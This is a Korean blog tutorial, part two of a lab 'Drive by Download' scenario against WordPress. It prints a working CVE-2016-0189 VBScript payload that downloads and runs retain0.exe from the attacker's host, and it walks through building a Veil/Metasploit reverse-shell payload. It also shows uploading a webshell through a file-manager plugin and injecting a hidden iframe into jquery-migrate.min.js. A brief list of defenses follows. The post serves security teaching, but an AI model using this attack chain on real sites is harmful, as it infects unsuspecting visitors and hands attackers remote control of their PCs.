가상으로 구축된 환경 외에 시도하는 것은 엄연히 불법입니다. 모든 책임은 개개인에게 있으니 조심해주세요
안녕하세요 Retain0입니다. 저번 시간에 이어서 " Drive by Download " 시나리오 두 번째를 시작해보도록 하겠습니다. 시나리오(1)에서 공격자는 대상 웹의 버전 정보 와 취약한 플러그인 버전 이 있는지에 대한 정보 수집을 한 후 도출된 취약점을 테스트해봄으로써 검증을 하였고 DB까지 침투하여 관리자의 계정을 입수 후 로그인까지 시도를 했습니다. 시나리오(2)에서는 관리자의 계정을 가지고 설치된 Plugin에 " Webshell " 을 업로드하여 Sourcecode를 deface 함으로써 사이트에 접속하는 다양한 사용자들이 무차별적으로 감염되게 할 것입니다.
① Drive By Download 시나리오(2)
(사진 1) 감염된 페이지에 접속한 사용자에게 자동으로 악성코드를 주입하고 실행하기 위해 공격자는 " CVE-2016-0189 "의 취약점을 이용하도록 하겠습니다.
※ CVE-2016-0189 란
- Internet Explorer에서 VBscript 엔진이 소스코드를 처리하는 과정에서 메모리를 손상시켜 임의의 코드를 실행시키는 취약점입니다. 해당 취약점의 위험등급은 " 높음 " 등급으로 해당 취약점에 대한 패치를 하지 않은 " Internet Explorer "의 버전 9,10,11 그리고 VBscript 5.7 버전과 5.8 버전이 영향을 받을 수 있습니다.
git clone https://github.com/theori-io/cve-2016-0189.git
(사진 2) github 소스를 통해 kali에서 설치를 하겠습니다.
cp vbscript_godmode.html /var/www/0189.html
(사진 3) 설치 후 해당 경로로 들어가서 확인해보면 cmd 를 통해 자동으로 실행할 수 있는 코드가 담겨있습니다. 공격자는 해당 파일(vbscript_godmod.html) 을 복사하여 /var/www/ 경로에 0189.html이라는 이름으로 저장하도록 하겠습니다.
(사진 4) 저장한 0189.html 파일을 들어가서 어느 부분에 실행 코드가 담겨있는지 확인해보도록 하겠습니다. 위의 검정 박스에 담긴 실행 코드를 수정하여 악성코드를 자동으로 내려받을 수 있도록 하겠습니다.
(사진 5) cmd를 통해 자동으로 실행되는지 확인해본 결과 잘 작동합니다.
(사진 6) 검정 박스 안에 공격자 즉 필자의 IP 와 retain0를 바꿔서 수정해주시면 됩니다. retain0 가 의미하는 것은 payload의 명 이 되겠습니다.
set shell=createobject("Shell.Application")
shell.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML 2.XMLHTTP"")>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://192.168.0.20/retain0.exe"",false>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\retain0.exe"">>down_exec.vbs&@echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@echo objShell.Exec(""%TEMP%\retain0.exe"")>>down_exec.vbs&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
(사진 7) 저번 시간에도 다뤄본 " Veil-framework " 사용하여 이제 payload를 생성하겠습니다. (사진 6)에서 payload 명을 " retain0 "로 하였으니 exe 명지 정할 때도 retain0로 똑같이 하겠습니다.
(사진 8) 28 번을 선택 후 set LHOST : 공격자의 주소 set LPORT : 4545를 지정해준 후 " generater " 및 악성코드 파일명을 " retain0로 입력해주고 1번 default를 선택해주면 되시겠습니다.
※설명이 어려우시다면 " Veil-framework " 관련 포스팅 참고하시고 오시면 됩니다.
(사진 9) payload 가 생성되었습니다. 3번째에 있는 Excutable written to 경로와 5번째 Metasploit Resource file written to 경로를 기억해두시기 바랍니다.
cp /var/lib/veil/output/compiled/retain0.exe /var/www/
(사진 10) 3번째의 경로 참고하여 cp 명령으로 /var/www의 경로로 복사 후 " service apache2 start "를 해주시면 됩니다.
msfconsole -r /var/lib/veil/output/handlers/retain0.rc
(사진 11) Metasploit 중 msfconsole이라는 인터페이스를 활용하여 핸들러 파일을 실행시켜 주도록 하겠습니다. 공격자는 이제 Listening 상태라고 보시면 됩니다.
(사진 12) wordpress에는 아주 다양한 plugin 모듈을 설치하고 쉽게 사용할 수 있는 편의성을 가지고 있습니다. 공격자는 해당 plugin 을 통해 " WebShell " 을 업로드하고 실행시켜 디렉터리의 구조로 들어가도록 하겠습니다.
(사진 13) 설치를 해주시면 File Manager 을 확인하실 수 있습니다. 이제 클릭 후 webshell을 올려봅시다.
(사진 14) 상단의 빨간 박스를 클리 면 올리고자 하는 파일을 마음대로 업로드할 수 있습니다. 또한 업로드하고자 하는 파일의 검증을 하지 않기에 공격자는 원하는 형태의 webshell을 올리도록 하겠습니다.
(사진 15) webshell 은 각자의 기호에 맞게 선택하셔서 올리시면 되겠습니다. b374k webshell 도 많이 사용하는 편입니다.
(사진 16) 업로드 후 URL에 대상 주소/webshell 명을 일력하고 엔터 누르시면 정상적으로 실행되는 것을 보실 수 있습니다.
(사진 17) 전 포스팅 중 사이트 deface를 할 땐 " index.php " 내용을 변조시켰었는데요 이번에는 경로가 조금 깁니다. 상단의 빨간 박스라나의 경로를 보시면서 최종 경로인 jquery-migrate.min.js까지 와주시면 됩니다. 참고로 js는 javascript의 약어이며 jquery는 javascript의 공통 라이브러리라고도 합니다. 대부분의 공격자들은 jquery의 변조를 많이 합니다. 왜냐하면 누구든 웹페이지를 들어가려면 공통 라이브러리의 js 파일을 틀 무조건 거치고 들어가야 하기 때문에 " jquery "라는 공통 라이브러리를 잠가두지 않으면 코드를 공격자가 원하는 곳으로 향하도록 변조를 할 수 있습니다.
(사진 18) 사이트를 접속 시 jquery-migrate.min.js를 거쳐서 접속하는지 확인해볼 수가 있습니다. " everything "이라는 프로그램을 통해 확인하실 수 있습니다. 포렌식 할 때도 종종 사용되는 도구입니다. 왜냐하면 이도고는 숨김 파일까지 모두 찾아서 검색해주기 때문이죠.
(사진 19) 삽입될 스크립트
document.write("<iframe src='http://공격자주소/0189.html'width='0' height='0' frameboard='0'></iframe>");
(사진 19) iframe 태그를 통해 공격자의 악성 스크립트 다운 및 실행시키기위해 해당 스크립트를 삽입할 것입니다. iframe 을 통해 호출을 하도록 할 건데요 IP 주소는 공격자의 주소 그리고 CVE-2016-0189을 통해 생성해둔 0189.html이라는 악성 페이지로 호출하도록 작성할 것입니다.
※ dean edward packer를 통해 (사진 19)의 악성 스크립트를 복잡하게 꼬아 난독화시켜서 삽입하셔도 됩니다.
(사진 20) 작성한 악성 스크립트를 " jquery-migrate.min.js "의 제일 하단에 삽입해주시고 저장해주시면 됩니다.
(사진 21) 준비는 모두 끝났으니 이제 사용자의 pc로 넘어가서 감염된 사이트인 wordpress의 주소 192.168.0.150으로 들어가 보겠습니다.
(사진 22) 접속해본 결과 별다른 증후가 없는 것을 확인하였습니다. 사용자는 아무런 의심조차 할 수 없는 상황이며 어떤 문제가 발생했는지조차 알 수가 없습니다.
(사진 23) temp는 임시파일이 담긴 폴더 입니다. 해당 경로라에 %temp%를 입력하면 바로 들어갈 수 있는데요 안에 내용을 확인해본 결과 처음 보는. exe 실행파일이 있는 것을 확인할 수 있습니다. 아무런 클릭과 다운로드조차 한 적이 없는데 이게 왜 있을까요?? 바로 jquery의 js 소스를 변조함으로써 자동으로 실행파일이 다운되도록 해놨기 때문이죠. 그리고 (사진 6)에서 excute 실행 코드 안에 잘 보시면 temp 경로로 다운되도록 설정이 되어있습니다. temp 폴더로 가도록 설정한 이유는 바로 User Account Control 즉 사용자 계정 컨트롤을 우회하기 때문이다. 마치 관리자 권한으로 실행되기 위함이라고 보시면 되겠습니다.
(사진 24) 사용자 pc의 temp 폴더에 retain0라는 악성파일이 자동으로 다운로드되어 있는 한편 실행까지 자동으로 된 모습을 볼 수 있습니다. sending stage 가 뜨면서 공격자 와 감염된 사용자 가 연결이 확립되었으니 이제 session을 열어 다양한 명령을 실행시킬 수가 있습니다.
※이후 사용되는 명령어를 보시고 싶으시면 " Veil-framework " 관련 포스팅 내용을 참고하시면 되겠습니다.
◆대응 방안
(1) 자신의 네트워크 및 시스템을 먼저 파악하는 것이 중요
Drive by Download 형태가 완성되기 위해 다양한 취약점을 악용하기에 관리자의 권한을 가지고 있는 계정이라면 약한 문자열을 사용하면 안 될 것이고 디렉터리의 구조 또한 공격자들이 쉽게 파악할 수 있게 내버려 두면 안될 것이다. 또한 wordpress의 경우 다양한 plugin을 지원하기 때문에 설치된 plugin의 안전성을 확인하고 해당 버전을 주기적으로 검사하고 업데이트를 해야 할 것입니다. CVE-2016-0189의 경우 Internet Explorer 및 Flash 와 같은 이전 버전의 소프트웨어의 취약점을 악용하기 때문에 사용자는 가능한 최대한 빨리 각각의 버전들을 최신으로 업데이트로 하는 것이 완전한 방어는 되지 않더라도 one-day 취약점(알려진 취약점) 을 악용하는 형태는 방지할 수가 있겠습니다.
(2) 의심 가는 사이트는 접속조차 멀리해야 함
Drive by Download의 경우 일반 대중들에게 널리 알려진 웹사이트에서도 종종 사용되지만 " 딥웹 " 같은 사람들의 발길이 잘 닿지 않는 곳에서 가 더 많이 발견됩니다. 해당 기업이나 특정을 대상으로 한다면 말이 틀려지겠지만 DBD의 경우 불특정 다수를 대상으로 하기에 어느 사이트든 매복이 있을 수 있다는 것이지요. 기업의 형태의 경우 사이트를 차단 시켜주는 프로그램을 사용해서 몇몇 직원이 이상한 사이트 및 DBD의 덫에 걸리는 것을 예방할 수도 있습니다.
(3) 이메일에서 전송되는 링크 및 첨부파일 열람 시 조심
해당 실습에서는 페이지를 방문하는 것을 유도하여 실행하였지만 원하는 조직에 악의적인 링크를 달아서 전송할 수도 있습니다. 그러니 수신자를 확인하고 모르는 사람의 메일이라면 쉽게 열람해서는 안 됩니다. 확인을 해보고 싶다면 " virustotal "이라는 사이트를 통해 적정성을 검사 후에 접속해보시는 것도 하나의 방법입니다.
(4) Script 실행을 차단 및 UAC 설정
" javascript " , " Flash " 가 사용자의 디바이스 환경에서 임의적으로 실행되지 않도록 차단할 수가 있습니다. " Noscript "라는 프로그램을 통해 스크립트가 실행되는 것을 차단할 수가 있습니다. 화이트리스트 기반으로 정책을 설정할 수 있기 때문에 주로 업무 시 사용되는 사이트는 해당 스크립트들이 원활하게 실행되게 설정이 가능하기에 유용합니다. 그리고
UAC라는 User Account Control의 수준을 중간 이상으로 높여두시길 권장합니다. 이러한 설정을 통해 파일들이 실행되거나 생성될 때 어느 정도 적정성을 검사하여 사용자에게 알려주기 때문에 악의적인 호출이 있었는지 알 수가 있습니다.
이번 실습은 여기까지 하도록 하겠습니다. APT의 유형인 " Drive by Download " 형태의 공격은 과거부터 지금까지 잠재적으로 숨어있는 일종의 " 암 " 덩어리라고 볼 수 있습니다.
APT 형태의 공격은 앞으로도 더욱 많아질 것이고 이를 대수롭지 않게 넘긴다면 개개인이나 또는 기업에게 엄청난 타격을 가지고 오게 될 것입니다. 이번 실습에 사용된 공격은 불특정 다수이지만 " 특정 대상 " 을 목표로 접근하게 될 경우 그들은 오랜 시간을 관찰하고 취약한 지점을 파악하여 언젠가는 반드시 파고들게 될 것입니다. APT 형태의 공격을 수행할 때는 보통 " 조직 "으로 구성되어서 지능적으로 또는 체계적인 방법으로 접근하게 될 것입니다. 그러니 자산의 가치가 충분하다면 반드시 자신의 환경을 먼저 이해하고 한발 빠르게 대처하도록 해야 될 것입니다. 감사합니다.
Install or Refer to
'IT Security > HACKABLE' 카테고리의 다른 글
[Two Greedy] Drive-by-Download 시나리오 (0) | 2020.04.14 |
---|---|
[Two Greedy] Veil-Framework & Metasploit 활용법 (0) | 2020.04.12 |
[Two Greedy] theharvester 를 활용한 Email 수집 (0) | 2020.04.11 |
[Two Greedy] Web Scanning Using Nikto (0) | 2020.04.10 |
[Two Greedy] Wordpress Attack Using WPscan (0) | 2020.04.09 |